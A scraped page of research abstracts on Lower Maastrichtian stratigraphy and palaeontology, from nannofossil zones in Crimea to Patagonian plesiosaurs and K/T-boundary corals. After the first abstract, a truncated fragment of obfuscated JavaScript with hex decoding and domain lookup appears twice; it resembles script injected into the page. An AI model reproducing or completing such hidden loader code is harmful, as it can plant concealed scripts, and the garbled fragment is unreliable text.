Lower Maastrichtian Research Articles

NANNOPLANKTON STRATIGRAPHY OF UPPER CRETACEOUS OF MAUNTINE CRIMEA

On the south of Ukraine Upper Cretaceous calcareous nannoplankton reached its maximum of quantity and quality. Nanofossils are rockbforming components of all lithological rock types, however, the weak variation of the taxonomic diversity complicate the application of the stratigraphic groups. Based on the study of material from the Upper Cretaceous range of Mountain and Plain Crimea region we have identified nine zones of global distribution. In the lower Cenomanian of the zone of Eiffelithus turriseiffeli; an Upper Cenomanian – Upper Turonian – zone Microrhabdulus decoratus; in the Upper Turonian – Lower Coniacian – zone Kamptnerius magnificus – Eiffelithus eximius; in Santonian – zone Micula staurophora; Lower Campanian – zone Arkhangelskiella cymbiformis, in the Upper Campanian – zone Broinsonis parca parca, in the Upper Upper Campanian – Lower Maastrichtian – zone Reinhardtites levis, in the lower part of the Upper Maastrichtian – zone Lithraphidites quadratus, in the upper part of the Upper Maastrichtian – zone Nephrolithus frequens. The boundary between Maastrichtian and Danian conducted by the sharp disappearance of almost all species of Upper Cretaceous nannoplankton.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Revision of Sulcusuchus erraini (Sauropterygia, Polycotylidae) from the Upper Cretaceous of Patagonia, Argentina

O’Gorman, J.P. & Gasparini, Z., 2013. Revision of Sulcusuchus erraini (Sauropterygia, Polycotylidae) from the Upper Cretaceous of Patagonia, Argentina. Alcheringa 37, 161–174. ISSN 0311-5518. Sulcusuchus erraini, from the upper Campanian–lower Maastrichtian of Patagonia, Argentina, is the only polycotylid from the Southern Hemisphere for which the skull and mandible are known. The diagnosis of the species and genus is emended based on new observations. Sulcusuchus is characterized by the following autapomorphies: (1) deep and broad rostral and mandibular grooves and (2) a wide notch on the posterior margin of the pterygoids that are combined with a part of the body of the basioccipital, forming a wide plate. Several hypotheses about the identity of the structures that could have been housed in the rostral and mandibular grooves are evaluated. Only two of several hypotheses were not discarded. The first is that the grooves may have accommodated oral glands (supralabial and sublabial), but the biological role of such glands could not be inferred. The second hypothesis is the presence of special structures of an electrosensitive and/or mechanosensitive nature, which might allow the detection of infaunal or semi-infaunal food in soft substrates, as is represented in modern analogues, such as dolphins. José P. O’Gorman [joseogorman@fcnym.unlp.edu.ar] and Zulma Gasparini [zgaspari@fcnym.unlp.edu.ar], División Paleontología Vertebrados, Museo de La Plata, Universidad Nacional de La Plata, Paseo del Bosque s/n., B1900FWA La Plata, Argentina. Also affiliated with Consejo Nacional de Investigaciones Científicas y Técnicas, Av. Rivadavia 1917 (C1033AAJ), Ciudad Autónoma de Buenos Aires, Argentina and CONICET: Consejo Nacional de Investigaciones Científicas y Técnicas, Argentina Received 5.6.2012; revised 31.7.2012; accepted 4.9.2012.

Sedimentological and stratigraphic evolution of northern Lebanon since the Late Cretaceous: implications for the Levant margin and basin

This paper presents an updated review of the Upper Mesozoic and Cenozoic sedimentological and stratigraphic evolution of the Levant margin with a focus on the northern Lebanon. Facies and microfacies analysis of outcrop sections and onshore well cores (i.e., Kousba and Chekka) supported by nannofossil and planktonic foraminifers biostratigraphy, allowed to constrain the depositional environments prevailing in the Turonian to Late Miocene. The “Senonian” (a historical term used to define the Coniacian to Maastrichtian) source rock interval was subdivided into four sub-units with related outer-shelfal facies: (1) Upper Santonian, (2) Lower, (3) Upper Campanian, and (4) Lower Maastrichtian. This Upper Cretaceous rock unit marks the major drowning of the former Turonian rudist platform. This paper confirms the Late Lutetian to Late Burdigalian hiatus, which appears to be a direct consequence of major geodynamic events affecting the Levant region (i.e., the continued collision of Afro-Arabia with Eurasia), potentially enhanced by regressional cycles (e.g., Rupelian lowstand). The distribution of Late Burdigalian–Serravallian rhodalgal banks identified in northern Lebanon was controlled by pre-existing structures inherited from the pulsating onshore deformation. Reef barriers facies occur around the Qalhat anticline, separating an eastern, restricted back-reef setting from a western, coastal to open marine one. The acme of Mount Lebanon’s uplift and exposure is dated back to the Middle–Late Miocene; it led to important erosion of carbonates that were subsequently deposited in paleo-topographic lows. The Late Cretaceous to Cenozoic facies variations and hiatuses show that the northern Lebanon was in a higher structural position compared to the south since at least the Late Cretaceous.

Calcareous nannofossil assemblage changes and stable isotope data from Maastrichtian to Selandian in the Akveren Formation, Western Black Sea, Turkey

This study is based on calcerous nannofossil assemblages changes and fluctutions of stable carbon and oxygen isotopes was collected clayey limestones, limestones, and marls in the Maastrichtian to Selandian from Akveren Formation (Western Black Sea). As the relative abundances of species of Micula spp, Watznauera barnesiae, and Arkhangelskiella cymbiformis, which tolerated changes of temperature and nutrition, carbon and oxygen isotopes compositions, and low species richness imply strong diagenesis effect at the Maastrichtian, there is no important diagenesis effect at Paleocene. Just after the Cretaceous/Tertiary (K-Pg) boundary, Thoracosphaera spp. and Braarudosphaera bigelowi were dominant species; Danian is characterized by Thoracosphaera, Ericsonia ovalis, Cruciplacolithus spp., Coccolithus pelagicus, and Ericsonia subpertusa. Generally, the nutrition productivity is good–moderate in Lower Maastrichtian, and decreasing carbon isotope values during the Uppermost Maastrichtian shows the presence of oligotrophic environmental conditions suitable with global nutrition crises before the K-Pg boundary and diagenesis in study area. Throughout the Danian, mesotrophic–oligotrophic environmental conditions dominate; however, the decrease in nutrition before Selandian represents oligotrophic environmental conditions. The increasing nutrition at Selandian is related to the change in the environmental conditions.

A giant tooth from the Late Cretaceous (middle Campanian–lower Maastrichtian) of Patagonia, Argentina: An enormous titanosaur or a large toothed titanosaur?

The tooth MML-Pv 1030 comes from the Upper Cretaceous (middle Campanian–lower Maastrichtian) strata of the Allen Formation at Salitral de Santa Rosa, Río Negro, Argentina and is the biggest titanosaur tooth yet described. The specimen is a cylindrical chisel-like tooth, its length is 75 mm, mesiodistally 15 mm and labiolingually 11 mm. The wear facet is single on the lingual side of the tooth, which has an oval outline with a low angle (10°) with respect to the axial axis of the tooth. This tooth is 32% greater in length than the longest tooth registered in a titanosaurid (Nemegtosaurus), and twice the tooth size of taxa as Tapuiasaurus, Bonitasaura and Pitekunsaurus. Detailed descriptions of the tooth morphology and a highlight of comparative relationships among known titanosaur teeth are provided. Finally, different aspects are suggested related to morphology and feeding behavior.

Gastroliths associated with a juvenile elasmosaur (Plesiosauria, Elasmosauridae) from the Snow Hill Island Formation (upper Campanian–lower Maastrichtian), Vega Island, Antarctica

José P. O'Gorman, Eduardo Olivero & Daniel A. Cabrera. December 2012. Gastroliths associated with a juvenile elasmosaur (Plesiosauria, Elasmosauridae) from the Snow Hill Island Formation (upper Campanian–lower Maastrichtian), Vega Island, Antarctica. Alcheringa 36, 531–541. ISSN 0311-5518. One of the unresolved problems concerning the palaeobiology of plesiosaurs is the function of gastroliths. A new juvenile specimen referred to Elasmosauridae indet., collected from the Cape Lamb Member of the Snow Hill Island Formation (upper Campanian–lower Maastrichtian) from Cape Lamb, Vega Island, Antarctic Peninsula with gastroliths, provides the opportunity to add information about this issue. The specimen consists of approximately 20% of a partially articulated skeleton including 333 gastroliths. Taphonomic evidence indicates rapid burial and possibly different taphonomic pathways for the dorsal (articulated) and caudal (disarticulated) regions. Analysis of the 333 gastroliths determined the mean major axis to be 14.32 mm, the mean maximum projection sphericity to be 0.7 and the standard deviation to be 1.1. Following Krumbein classification, most of the gastroliths are disk-shaped (35.4%), spheroid (34%) and cylindrical (21.3%). According to Powers's categories, most of the gastroliths are rounded (71.2%). Petrographically, the gastroliths that are larger than 15 mm (major axis) are mostly volcanic rhyolites (78.3%) and fine-grained quartz aggregates (11.6%); together with minor granitic rocks (3.1%), mudstones (3.1%) and aphanitic volcanics (3.9%); similar percentages were present among the smaller clasts. The acidic volcanic clasts likely derive from the volcanic Antarctic Peninsula Group (GPVA; Middle–Upper Jurassic). The mean values for sphericity and oblate-prolate index (OP index) indicate a fluvial origin for the gastroliths. The method of estimation of the maximum prey-size using gastroliths is discussed. The available data provides evidence against the hydrostatic function of the gastroliths because the total weight of the gastroliths is insufficient to modify the hydrostatic balance of the juvenile plesiosaur.

Early representatives of the belemnite genus Belemnella (Cephalopoda) from the uppermost Campanian–Lower Maastrichtian of the Middle Vistula River section, central Poland

ABSTRACT Keutgen, N., Remin, Z. and Walaszczyk, I. 2012. Early representatives of the belemnite genus Belemnella (Cephalopoda) from the uppermost Campanian-Lower Maastrichtian of the Middle Vistula River section, central Poland. Acta Geologica Polonica, 62 (4), 535-559. Warszawa. Representatives of the belemnite genus Belemnella from the uppermost Campanian and lowermost Maastrichtian of the Middle Vistula River Valley section (central Poland) have been studied, using the species concept proposed by Schulz in 1979. Results have been compared to a recently proposed new interpretation of the genus Belemnella based on artificial neural networks, as put forward by Remin in 2007 and 2012. In the interval studied, four taxa have been recognised: Bln. longissima, Bln. inflata, Bln. obtusa and Bln. vistulensis, the last-named being a senior synonym of Bln. pseudobtusa. Three additional forms have been left in open nomenclature: Bln. cf. lanceolata , Bln. ex gr. lanceolata/inflata and Belemnella sp. Based on their documented vertical ranges, three Belemnella standard zones, as originally distinguished in the Kronsmoor section by Schulz (1979), northern Germany, have been defined, in ascending order: the Bln. lanceolata, Bln. vistulensis and Bln. obtusa zones. The bases of the lanceolata and obtusa zones in the Middle Vistula River Valley section can be directly correlated with the same zones at Kronsmoor, and appear to be isochronous within limits of stratigraphic resolution. The base of the vistulensis Zone (Bln. vistulensis according to the species concept of Schulz in 1979), however, is probably diachronous, being older in the Middle Vistula section. Although Schulz’s and Remin’s species concepts differ quite considerably, they do result in similar stratigraphic subdivisions of the Kronsmoor and Middle Vistula River sections.

Clay mineralogy of the middle Mingshui Formation (upper Campanian to lower Maastrichtian) from the SKIn borehole in the Songliao Basin, NE China: Implications for palaeoclimate and provenance

Clay mineralogy of a 60m thick section of the middle Mingshui Formation (upper Campanian to lower Maastrichtian) from the SKIn borehole (Songliao Basin in NE China) has been studied to assess the palaeoclimate and provenance. The sedimentary succession is composed of shore to shallow lacustrine mudstones and siltstones in the lower part, and meandering fluvial sandstone–mudstone sequences in the upper part. The clay mineral assemblage is characterized by the predominance of smectitic minerals, with some exceptions of illite-rich layers, and trace amounts of kaolinite and chlorite. The high smectite content (>90% on average) in lacustrine sediments could source from erosion of smetitic soils and volcanic materials in source areas. The Lesser Xing'an–Zhangguangcai Range was the potential provenance area for the sediments, with volcanic activity occurring at ~70Ma, when the temperate semi-humid palaeoclimate was favorable for the clay formation. Smectite presented in meandering fluvial sandstones is of early diagenetic origin, formed by hydrolysis and alteration of primary minerals after deposition. Illite in overbank deposits is interpreted as a result of erosion of granitic rocks and sorting in sedimentation processes. The clay mineralogy of the studied strata contains information on palaeoclimate and provenance, although early diagenetic processes may have influenced the mineralogical composition in some intervals of sandstones.

Peat-forming plants in the Maastrichtian coals of the Eastern Pyrenees

The Lower Maastrichtian of Fumanya and neighbouring localities of the Vallcebre syncline (Eastern Pyrenees, Catalonia) provide the first taphonomic evidence for the hypothesis that cheirolepidiacean conifers were significant precursors of Maastrichtian Pyrenean coal. Most Frenelopsis-rich lignite beds do not bear rootlet marks, suggesting that the original peat was detrital. Sedimentological and taphonomic evidence indicates deposition in the margins of a lagoon after the transport of the cheirolepidiacean remains by flotation. The same parautochtonous assemblage includes complete impressions Sabalites longirhachis leaves and large impressions of logs attributed to the same palm trees. Other parautochthonous or allochthonous plant megaremains include extremely rare cycadalean and monocot leaves and abundant minute angiosperm seeds. Rootlet marks associated with thin lignite beds occur at the top of some charophyte limestones. The charophyte association, dominated by in situ accumulation of Peckichara and Microchara gyrogonites, suggests that these limestones were deposited in shallow, freshwater lakes and that the corresponding peat mires were limnic rather than paralic in nature. The botanical affinity of plant remains associated with these root-bearing lignites is uncertain. Palynological analysis showed abundant bisaccates, with less abundant fern spores and freshwater algal oospores. Locally, the abundant rootlet marks were associated with large brush-like rooting structures attributed to Sabalites longirhachis palms. Our results show that, at the beginning of the Maasrichtian, cheirolepidiacean conifers were still significant peat-producing plants, although, unlike analogous Lower Cretaceous ones, they shared this role with rare angiosperms, such as palms.

Late Cretaceous phymosomatids and the true identity of Cidarites granulosus Goldfuss, 1829 (Echinoidea, Phymosomatoida)

A revision of Late Cretaceous species of the common regular echinoid genus Phymosoma Haime in d’Archiac &amp; Haime,1853 has revealed that Cidarites granulosus Goldfuss, 1829 has generally been misinterpreted in the literature. The typespecimen of this species is undoubtedly conspecific with material from the lower Maastrichtian of Rügen, northeast Ger-many. What authors have referred to as Phymosoma granulosum in northern temperate (boreal) regions of western Europeand in the Middle East in fact represents an undescribed form which we here name Phymosoma ravni sp. nov., which dif-fers from Cidarites granulosus in having better-developed biserial pore zones adapically, proportionally larger mamelonson primary tubercles, a flush peristome, and stout, non-facetted primary spines. The proper placement of Cidarites granulosus within the family Phymosomatidae Pomel, 1883 is ambiguous; it appears to be most closely related to Phymosoma.

Astronomical duration of polarity Chron C31r (Lower Maastrichtian): cyclostratigraphy of ODP Site 762 (Indian Ocean) and the Contessa Highway section (Gubbio, Italy)

AbstractThe duration of polarity Chron C31r is estimated with a cyclostratigraphic approach. Two sites are investigated: ODP Site 762 (Indian Ocean) and the Contessa Highway section (Gubbio, Italy). Cyclostratigraphic analysis is performed on greyscale variations (Site 762) and magnetic susceptibility variations (Contessa section). Both sites reveal an astronomical control of the sedimentation, highlighted by the identification of all the orbital periodicities. Cyclostratigraphic signals are tuned on 405 ka eccentricity cycles extracted from the La04 astronomical solution. In both sites, cycle counting gives an estimate of the duration of polarity Chron C31r of about 2.09 ± 0.03 Ma.

Evidence from the Kyrenia Range, Cyprus, of the northerly active margin of the Southern Neotethys during Late Cretaceous–Early Cenozoic time

AbstractSedimentary geology and planktonic foraminiferal biostratigraphy have shed light on the geological development of the northern, active continental margin of the Southern Neotethys in the Kyrenia Range. Following regional Triassic rifting, a carbonate platform developed during Jurassic–Cretaceous time, followed by its regional burial, deformation and greenschist-facies metamorphism. The platform was exhumed by Late Maastrichtian time and unconformably overlain by locally derived carbonate breccias, passing upwards into Upper Maastrichtian pelagic carbonates. In places, the pelagic carbonates are interbedded with sandstone turbidites derived from mixed continental, basic volcanic, neritic carbonate and pelagic lithologies. In addition, two contrasting volcanogenic sequences are exposed in the western-central Kyrenia Range, separated by a low-angle tectonic contact. The first is a thickening-upward sequence of Campanian–Lower Maastrichtian(?) pelagic carbonates, silicic tuffs, silicic lava debris flows and thick-bedded to massive rhyolitic lava flows. The second sequence comprises two intervals of basaltic extrusive rocks interbedded with pelagic carbonates. The basaltic rocks unconformably overlie the metamorphosed carbonate platform whereas no base to the silicic volcanic rocks is exposed. Additional basaltic lavas are exposed throughout the Kyrenia Range where they are dated as Late Maastrichtian and Late Paleocene–Middle Eocene in age. In our proposed tectonic model, related to northward subduction of the Southern Neotethys, the Kyrenia platform was thrust beneath a larger Tauride microcontinental unit to the north and then was rapidly exhumed prior to Late Maastrichtian time. Pelagic carbonates and sandstone turbidites of mixed, largely continental provenance then accumulated along a deeply submerged continental borderland during Late Maastrichtian time. The silicic and basaltic volcanogenic rocks erupted in adjacent areas and were later tectonically juxtaposed. The Campanian–Early Maastrichtian(?) silicic volcanism reflects continental margin-type arc magmatism. In contrast, the Upper Maastrichtian and Paleocene–Middle Eocene basaltic volcanic rocks erupted in an extensional (or transtensional) setting likely to relate to the anticlockwise rotation of the Troodos microplate.

A CHARACEAN THALLUS WITH ATTACHED GYROGONITES AND ASSOCIATED FOSSIL CHAROPHYTES FROM THE MAASTRICHTIAN OF THE EASTERN PYRENEES (CATALONIA, SPAIN)(1).

The new species Clavatoraxis microcharophorus is described from the Lower Maastrichtian of the Eastern Pyrenees (Catalonia, Spain). Microchara sp. gyrogonites were found in anatomical connection with this thallus, attached to bract-cell rosettes and coated by a structural tunica, formed by an expanded bract cell. This is a feature unknown in extant characeans, which only display lime incrustations similar to tunicae in extremely alkaline and well-illuminated environments. This is the first time that a complete fossil characean is described. The attribution of characean vegetative remains to the genus Clavatoraxis shows that this genus is not exclusive of clavatoraceans as previously thought. The taphonomic study of C. microcharophorus sp. nov. and associated fossil charophytes, along with sedimentological and microfacies analyses, has enabled us to characterize the habitat of this species in the Maastrichtian lake of Vallcebre. They grew forming meadows, and their remains were deposited in the poorly oxygenated lake bottom, where they were well preserved. A number of other characeans and porocharaceans were living in shallower belts. This was the case for Peckichara sp. and Munieria grambasti in the freshwater lacustrine meadows. Another species, Feistiella malladae, was found parautochthonous in brackish lakes.

Quantifying tooth variation within a single population ofAlbertosaurus sarcophagus(Theropoda: Tyrannosauridae) and implications for identifying isolated teeth of tyrannosauridsThis article is one of a series of papers published in this Special Issue on the themeAlbertosaurus.

Documenting variation in theropod dinosaurs is usually hindered by the lack of a large sample size and specimens representing several ontogenetic stages. Here, variation within 140 disassociated and seven in situ tyrannosaur teeth from the Upper Cretaceous (lower Maastrichtian) monodominant Albertosaurus sarcophagus (Theropoda: Tyrannosauridae) bonebed is documented. This sample represents the largest data set of teeth from one population of A. sarcophagus containing both adult and juvenile specimens. Tooth variation was assessed using multivariate analyses (principal component, discriminant, and canonical variate analyses). Heterodonty in the teeth of A. sarcophagus contributes to the large amount of variation in the data set. Premaxillary teeth are significantly different from maxillary and dentary teeth, but there is no quantifiable difference between a priori identified maxillary and dentary teeth. Juvenile and adult teeth of A. sarcophagus show apparent quantitative differences that are size dependent on closer investigation, suggesting a cautious approach when interpreting multivariate analyses to identify novel tooth morphologies. Multivariate analyses on teeth of A. sarcophagus and published tooth data from other North American tyrannosaurid species reveals species-level clusters with little separation. The degree of separation among tooth clusters may reveal a phylogenetic signal in tyrannosaurid teeth.

A new ichnogenus Skolichnus for Chondrites hoernesii Ettingshausen, 1863, a deep-sea radial trace fossil from the Upper Cretaceous of the Polish Flysch Carpathians: Its taxonomy and palaeoecological interpretation as a deep-tier chemichnion

A new ichnogenus Skolichnus is proposed for Chondrites hoernesii Ettingshausen, 1863 on the basis of the re-discovered type material and additional material from the collections and from the field work. All the material derives from the deep-sea Campanian–lower Maastrichtian Kropivnik Fucoid Marl, in the same region of the Skole Nappe in the Polish Flysch Carpathians. Skolichnus hoernesii ( Ettingshausen, 1863) comb. n. is a radial trace fossil, composed of thin, simple, horizontal or sub-horizontal, thinly lined, numerous rays produced deeply in the sediment from a fixed position in a supposed shaft. Its deep position below the Chondrites tier suggests that its producer (?a polychaete, ?a small crustacean) was a chemosymbiont. This trace fossil falls in the ethological category chemichnia. The position of tracemaker standing in the shaft with respect to the radial elements, i.e. head down when the radial elements are produced at the bottom of the shaft, or head up when the radial elements are produced at the top of the shaft, is proposed as a significant ichnotaxobase, which can be seen in its morphology or can be deduced from toponomic features.

Additional records of bourgueticrinid crinoids from the Cenomanian of southern Poland

Dissociated, specifically indeterminate columnals of representatives of the suborder Bourgueticrinina have recently been recorded for the first time from Cenomanian strata in southern Poland. Here we add a proximale and a cup/proximale from the same stratigraphic level, both in open nomenclature. The theca bears a certain resemblance to Bourgueticrinus brydonei Rasmussen, 1961, originally described from the upper Campanian and lower Maastrichtian of eastern England and northern Germany.

New data on late Santonian and early Maastrichtian ostracodes of the Saratov Region

The article presents a paleoenvironmental analysis of ostracode assemblages from Mezino-Lapshinovka (Upper Santonian) and Lokh (Lower Maastrichtian) Formations of the Vishnevoe section (Saratov Region). Two new species Cytherelloidea vishneviensis sp. nov. and Mauritsina mandelstami sp. nov. are described.

Historical Development of the Present Day Lineaments of the Western Zagros Fold Thrust Belt A Case Study from Northeastern Iraq, Kurdistan Region

The part of the Zagros within the Iraqi border occupies an area less than quarter of the country. It includes three tectonic zones which can be clearly identified in the field. These are the Low and High Folded, Imbricated and Thrusted Zones. The main lineaments are the axes of the anticlines; transverse and longitudinal faults; lines of distribution of ophiolite and metamorphic rocks; drainage direction discharge and line of distribution of conglomerates. The direction of axes of the anticlines are trending nearly N38W which normal to the direction of the imposed stress by the Iranian plate front. Due to differences in thicknesses and physical properties of the sedimentary rocks, the axes of these anticlines are not continuous they plunge more or less in an en echelon pattern and in some cases are bend. The lengths of most of these anticlines are around 10-30km. The first appearance of the anticlines in the High Folded Zone possibly started at the Eocene while those of the Thrust Zone initiated at Maastrichtian. Some of these anticlines are cut by transverse faults whose ages are not known. These faults trend nearly normal to the axis of anticlines. Other kinds of lineaments are the distribution of ophiolites and metamorphic rocks. Historically the first appearance of trace of ophiolites (as pebbles in sedimentary rocks) has an age of Lower Maastrichtian. The direction of drainage discharge is nearly towards the south and southwest, which is inherited from that of the Upper Cretaceous and Tertiary paleocurrent directions (sediment transport direction). This direction is related to uplift of the extreme northwestern part of the studied area during Maastrichtian. Evidence for these suggestions is the occurrence of thicknesses of 500m of conglomerates as valley fillings during Late Cretaceous. The depositional axes of the successions was migrated for about 50kms during Cretaceous and Tertiary and becomes younger from northeast towards the southwest as recorded by four narrow belts. The line of migration is nearly coinciding with both directions of present regional slope and the Cretaceous sediment transport. ــــــــــــــــــــــــــــــــــــــــــــــــــــــ

An Upper Cretaceous (Campanian-Maastrichtian) actinopterygian fish assemblage from the marginal marine Adaffa Formation of Saudi Arabia

Actinopterygian remains have been recovered from Upper Cretaceous (lower Campanian to lower Maastrichtian) marginal marine deposits of the Adaffa Formation in northwestern Saudi Arabia. The fossils comprise gars (Lepisosteidae), pachycormids (cf. Protosphyraena sp.), indeterminate pycnodontiforms, enchodontid teleosts (cf. Enchodus sp.) and other indeterminate Teleostei. This assemblage is significant because it includes a novel occurrence for the Middle East (Pachycormidae) together with taxa (Lepisosteidae, Pycnodontiformes, Enchodontidae) that have been previously recorded from Late Cretaceous faunas elsewhere in the Mediterranean Tethyan region.

Corals of the K/T-boundary: Scleractinian corals of the suborders Dendrophylliina, Caryophylliina, Fungiina, Microsolenina, and Stylinina

This study is the second of two parts of a taxonomic review of the scleractinian corals of the Maastrichtian and Paleocene periods. The first part (Baron-Szabo, 2006) focused on the scleractinian suborders Astrocoeniina, Faviina, Rhipidogyrina, and Amphiastraeina. The second part deals with the remaining five suborders: Dendrophylliina, Caryophylliina, Fungiina, Microsolenina, and Stylinina. The two parts together represent the first extensive compilation of coral species of the K/T-(Cretaceous/Tertiary) boundary, and deal with more than 2500 records of 550 nominal taxa, of which 259, belonging to 149 genera (including Lazarus taxa=taxa that disappeared before the Maastrichtian and re-occurred after the Paleocene) are considered valid. In the five suborders evaluated in this paper, 136 valid species (including in an addendum 3 taxa belonging to the suborders of the first part) of 81 genera can be reliably documented as occurring in the Maastrichtian and/or the Paleocene. For the following taxa, new combinations are proposed: Palaeopsammia collignoni (Alloiteau, 1958), Palaeopsammia zitteli (Vaughan, 1900) non Wanner, 1902, Bathycyathus corneti (Alloiteau &amp; Tissier, 1958), Bathycyathus lloydi (Vaughan, 1920), Bathycyathus piveteaui (Alloiteau &amp; Tissier, 1958), Trochocyathus speciosus (Gabb &amp; Horn, 1860), Deltocyathus cupuliformis (Alloiteau, 1951), Asterosmilia alloiteaui (Alloiteau &amp; Tissier, 1958), Dasmosmilia kochii (Pratz, 1910), Desmophyllum excavatum (Hagenow, 1839), Smilotrochus cornucopiae (Duncan, 1869), Smilotrochus milneri (Gregory, 1898), Alveolocyathus felixi (Filkorn, 1994), Pleurocora arachnoides (Knorr &amp; Walch, 1777), Meandrophyllia textilis (Goldfuss, 1826), Meandrophyllia velamentosa (Goldfuss, 1826), Cyathoseris catadupensis (Vaughan, 1899), Heterogyra murchisoni (d’Archiac &amp; Haime, 1853), Pattalophyllia grumi (Catullo, 1852), Stephanophyllia cribraria (Stephenson, 1916), Siderofungia morloti (Reuss, 1864), Hindeastraea garloica (Tchéchmédjiéva, 1975), Aspidastraea clathrata (Goldfuss, 1826), Paracycloseris nariensis (Duncan, 1880), Fungiastraea flexuosa (Goldfuss, 1826), Ellipsocoenia conferta (Umbgrove, 1925), Baryphyllia maxima (Umbgrove, 1925), Tubicora aylmeri (Gregory, 1900), Phacellocoenia thomkai (Eliášová, 1991), and Euphyllia calyculata (Catullo, 1852). One species is newly described: Polyphylloseris microkothos n. sp.. In addition to the re-examination and re-evaluation of described forms, this study also includes the first description of the largest Maastrichtian coral assemblage known (consisting of about 4000 specimens from Jamaica), as well as new material from the Campanian-Maastrichtian of Argentina, Lower Maastrichtian of Mexico (Cerralvo), and the Paleocene of Austria (Kambühel-Kalke). Furthermore, lost or “forgotten “coral collections were discovered and illustrated for the first time, including the type and original material of d’Achiardi (1875, Eocene of Italy), Wanner (1902, Maastrichtian-Danian of Egypt), Berryhill, in Berryhill et al. (1960, Danian of Puerto Rico), and Schlotheim (1820, Mesozoic-Recent). A diagnosis is provided for each species, as well as for each higher level taxonomic category, and issues concerning new taxonomic assignments are discussed in detail. The descriptions are accompanied by illustrations of representatives of each species, and in many cases, include illustrations of type or original material. Also included is the first comprehensive overview of the stratigraphical and geographical ranges of each taxon. The largest number of species occurring at the K/T-boundary are in the suborders Faviina (79), Fungiina (51), and Caryophylliina (41). In all of the nine suborders 259 valid species are known from the Maastrichtian and/or Paleocene, of which 204 occurred before the K/T-event and 106 species (52 %) crossed the K/T boundary. In the Paleocene 55 new species appeared. While species of all suborders crossed the K/T-boundary, no new species of the suborders Rhipidogyrina, Amphiastraeina, and Microsolenina appeared in the Paleocene. On the genus level 96 of the 131 genera (=73.3%) that occurred before the K/T-event crossed the K/T-boundary. Thirty-five genera went extinct and 18 genera have their first occurrence in the Paleocene. A generic extinction rate of 26.7% across the K/T-boundary, as estimated here, is considerably less than the rates of around 60% previously stated, but is quite similar to recently reported results for other macroinvertebrate groups after taxonomic revision (e.g., echinoids).